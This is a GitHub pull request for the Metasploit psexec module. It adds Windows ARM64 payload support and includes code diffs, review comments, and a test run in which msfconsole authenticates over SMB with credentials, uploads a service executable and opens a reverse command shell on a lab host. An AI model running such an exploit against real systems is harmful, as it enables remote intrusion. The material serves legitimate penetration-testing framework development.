Skip to content

Add AArch64 Windows target support to exploit/windows/smb/psexec - #21779

Draft
bwatters-r7 wants to merge 1 commit into
rapid7:masterfrom
bwatters-r7:feature/add-aarch64-psexec
Draft

Add AArch64 Windows target support to exploit/windows/smb/psexec#21779
bwatters-r7 wants to merge 1 commit into
rapid7:masterfrom
bwatters-r7:feature/add-aarch64-psexec

Conversation

@bwatters-r7

Copy link
Copy Markdown
Contributor

Description

We have AARCH64 shell payloads! This adds support for them into the psexec module.

Breaking Changes

None

Reviewer Notes

Verification Steps

Test Evidence

msf exploit(windows/smb/psexec) > set lhost 10.5.135.210
lhost => 10.5.135.210
msf exploit(windows/smb/psexec) > set verbose true
verbose => true
msf exploit(windows/smb/psexec) > set payload windows/aarch64/shell_reverse_tcp 
payload => windows/aarch64/shell_reverse_tcp
msf exploit(windows/smb/psexec) > set smbuser msfuser
smbuser => msfuser
msf exploit(windows/smb/psexec) > set smbpass v3Mpassword
smbpass => v3Mpassword
msf exploit(windows/smb/psexec) > run
[-] Msf::OptionValidateError A SESSION or RHOST must be provided
msf exploit(windows/smb/psexec) > set rhost 10.5.132.152
rhost => 10.5.132.152
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.210:45685 
[*] 10.5.132.152:445 - Connecting to the server...
[*] 10.5.132.152:445 - Authenticating to 10.5.132.152:445 as user 'msfuser'...
[!] 10.5.132.152:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 10.5.132.152:445 - Uploading payload... gSCgKTmt.exe
[*] 10.5.132.152:445 - Created \gSCgKTmt.exe...
[*] 10.5.132.152:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.152[\svcctl] ...
[*] 10.5.132.152:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.152[\svcctl] ...
[*] 10.5.132.152:445 - Obtaining a service manager handle...
[*] 10.5.132.152:445 - Creating the service...
[+] 10.5.132.152:445 - Successfully created the service
[*] 10.5.132.152:445 - Starting the service...
[*] Command shell session 1 opened (10.5.135.210:45685 -> 10.5.132.152:49985) at 2026-08-12 12:01:31 -0500
[+] 10.5.132.152:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.152:445 - Removing the service...
[+] 10.5.132.152:445 - Successfully removed the service
[*] 10.5.132.152:445 - Closing service handle...
[*] 10.5.132.152:445 - Deleting \gSCgKTmt.exe...


Shell Banner:
Microsoft Windows [Version 10.0.26200.5670]
-----
          

C:\Windows\System32>systeminfo
systeminfo

Host Name:                     DESKTOP-EKV6R5S
OS Name:                       Microsoft Windows 11 Pro Insider Preview
OS Version:                    10.0.26200 N/A Build 26200
OS Manufacturer:               Microsoft Corporation
OS Configuration:              Standalone Workstation
OS Build Type:                 Multiprocessor Free
Registered Owner:              msfuser
Registered Organization:       N/A
Product ID:                    00330-80000-00000-AA264
Original Install Date:         7/10/2025, 5:06:25 PM
System Boot Time:              8/12/2026, 8:11:56 AM
System Manufacturer:           Microsoft Corporation
System Model:                  Virtual Machine
System Type:                   ARM64-based PC

Environment

Host Name:                     DESKTOP-EKV6R5S
OS Name:                       Microsoft Windows 11 Pro Insider Preview
OS Version:                    10.0.26200 N/A Build 26200
OS Manufacturer:               Microsoft Corporation
OS Configuration:              Standalone Workstation
OS Build Type:                 Multiprocessor Free
Registered Owner:              msfuser
Registered Organization:       N/A
Product ID:                    00330-80000-00000-AA264
Original Install Date:         7/10/2025, 5:06:25 PM
System Boot Time:              8/12/2026, 8:11:56 AM
System Manufacturer:           Microsoft Corporation
System Model:                  Virtual Machine
System Type:                   ARM64-based PC
Processor(s):                  1 Processor(s) Installed.
                               [01]: ARMv8 (64-bit) Family 8 Model D4B Revision   0 Qualcomm Technologies Inc ~2902 Mhz
BIOS Version:                  Microsoft Corporation Hyper-V UEFI Release v4.1, 9/25/2025

## AI Usage Disclosure

Claud Code


## Pre-Submission Checklist

- [ x ] No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
- [ x ] Tested on the target environment specified in the Environment section above
- [ ] Included RSpec tests for library changes _(encouraged for `lib/` changes)_
- [ x ] Read the [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and [module acceptance guidelines](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html)

The AArch64 Windows PE loader template (to_winaarch64pe) and the
windows/aarch64/exec payload already existed, but nothing actually
wired ARCH_AARCH64 into the executable-generation paths psexec (and
msfvenom/RPC) depend on:

- lib/msf/util/exe.rb: to_executable_fmt had no ARCH_AARCH64 case for
  exe/exe-service/exe-small/exe-only/msi/msi-nouac, so requesting any
  of those formats for AArch64 silently produced no output.
- lib/msf/core/exploit/exe.rb: generate_payload_exe_service (what
  psexec's native_upload calls) hard-coded an X64-or-X86 choice, so an
  AArch64 payload would have been embedded in a broken x86 PE.
- lib/msf/util/exe/windows/aarch64.rb: to_winaarch64pe had no bounds
  check on the template's fixed 8192-byte payload buffer, unlike the
  analogous to_win32pe_old.

Also add ARCH_AARCH64 to psexec's Automatic/Native upload/MOF upload
targets, and make Automatic skip the PowerShell-delivery branch for
AArch64 payloads (the rex-powershell injection wrapper only knows how
to spawn x86/x64 powershell.exe).

Only one AArch64 Windows payload exists upstream so far
(windows/aarch64/exec, single-stage command exec, no stager/meterpreter
for ARM64 Windows yet), so this enables command execution via psexec
against Windows-on-ARM targets, not a full session.

Verified live against a real Windows AArch64 host: Native upload with
PAYLOAD windows/aarch64/exec correctly generates and drops an ARM64 PE,
registers/starts/removes it as a service, and the embedded WinExec
shellcode executes as NT AUTHORITY\SYSTEM.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@vinicius-batistella

Copy link
Copy Markdown
Contributor

Hey, @bwatters-r7.
Happy to help finish it. I don’t have push access to your fork; if you add me as a collaborator (or prefer a PR against feature/add-aarch64-psexec), I can take a pass.
Also, I'd like to move exitfunk_aarch64.rb / reverse_tcp_aarch64.rb under lib/msf/core/payload/windows/aarch64/ to match the x64/ layout.

Just say which workflow you prefer. 👍

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds Windows ARM64 (AArch64) support to the exploit/windows/smb/psexec module by allowing AArch64 payload selection and routing Automatic targeting away from the PowerShell delivery path, while extending the framework’s Windows EXE generation paths to emit AArch64 executables (including when an exe-service is requested).

Changes:

  • Extend psexec module targets (Automatic/Native/MOF) to include ARCH_AARCH64, and force Automatic to select native upload when an AArch64 payload is chosen.
  • Add an explicit maximum payload size guard for the Windows AArch64 PE template generator.
  • Thread ARCH_AARCH64 through EXE format selection for exe-service and related Windows EXE outputs, and add AArch64 handling in generate_payload_exe_service.

Impact Analysis:

  • Blast radius: medium — affects modules/exploits/windows/smb/psexec users plus any consumers of Windows EXE generation (Msf::Util::EXE / Msf::Exploit::EXE), including payload generation flows.
  • Data and contract effects: introduces a hard size limit for AArch64 template-based EXE generation (errors on oversize payloads) and changes behavior when requesting Windows exe-service output for AArch64 (mapped to the loader template).
  • Rollback and test focus: rollback is straightforward (revert commits); test focus on AArch64 payload EXE generation (success + oversize failure) and psexec native upload execution path with an AArch64 payload.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 2 comments.

File Description
modules/exploits/windows/smb/psexec.rb Allows AArch64 payloads and makes Automatic target choose native upload for AArch64.
lib/msf/util/exe/windows/aarch64.rb Adds a fixed-size template limit constant and enforces a maximum embedded payload size.
lib/msf/util/exe.rb Adds AArch64 support for multiple Windows EXE format branches, including exe-service.
lib/msf/core/exploit/exe.rb Updates generate_payload_exe_service to generate an AArch64 Windows PE when requested.
Suppressed comments (1)

lib/msf/util/exe/windows/aarch64.rb:46

  • Important: Problem: to_winaarch64pe uses code.length and raises a generic RuntimeError on overflow, which is fragile for binary encodings and makes targeted rescue harder in library code. Impact: payload size checks can be inconsistent and callers can’t reliably rescue a specific error type. Fix: use code.bytesize and raise a more specific error (e.g., ArgumentError) with the actual size.
      if code.length > WINAARCH64_PAYLOAD_SPACE
        raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
                             "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
      end

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment on lines 74 to +78
[ 'Native upload', { # upload a service executable
'Arch' => [ARCH_X86, ARCH_X64],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases
} ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ],
Comment on lines 32 to +46
def to_winaarch64pe(framework, code, opts = {})
# Use the standard template if not specified by the user.
# This helper finds the full path and stores it in opts[:template].
set_template_default(opts, 'template_aarch64_windows.exe')

# Read the template directly from the path now stored in the options.
pe = File.read(opts[:template], mode: 'rb')

# Find the tag and inject the payload
bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')

if code.length > WINAARCH64_PAYLOAD_SPACE
raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \
"#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module"
end
@bwatters-r7

Copy link
Copy Markdown
Contributor Author

@vinicius-batistella I don't think I can add you as a collaborator, since that permission appears to be at the repo level if I'm reading correctly. Feel free to PR to this branch, though! I'll be out of touch for a couple days but I should pop back up next week.

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Great, no worries. I'll do that way. Thanks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants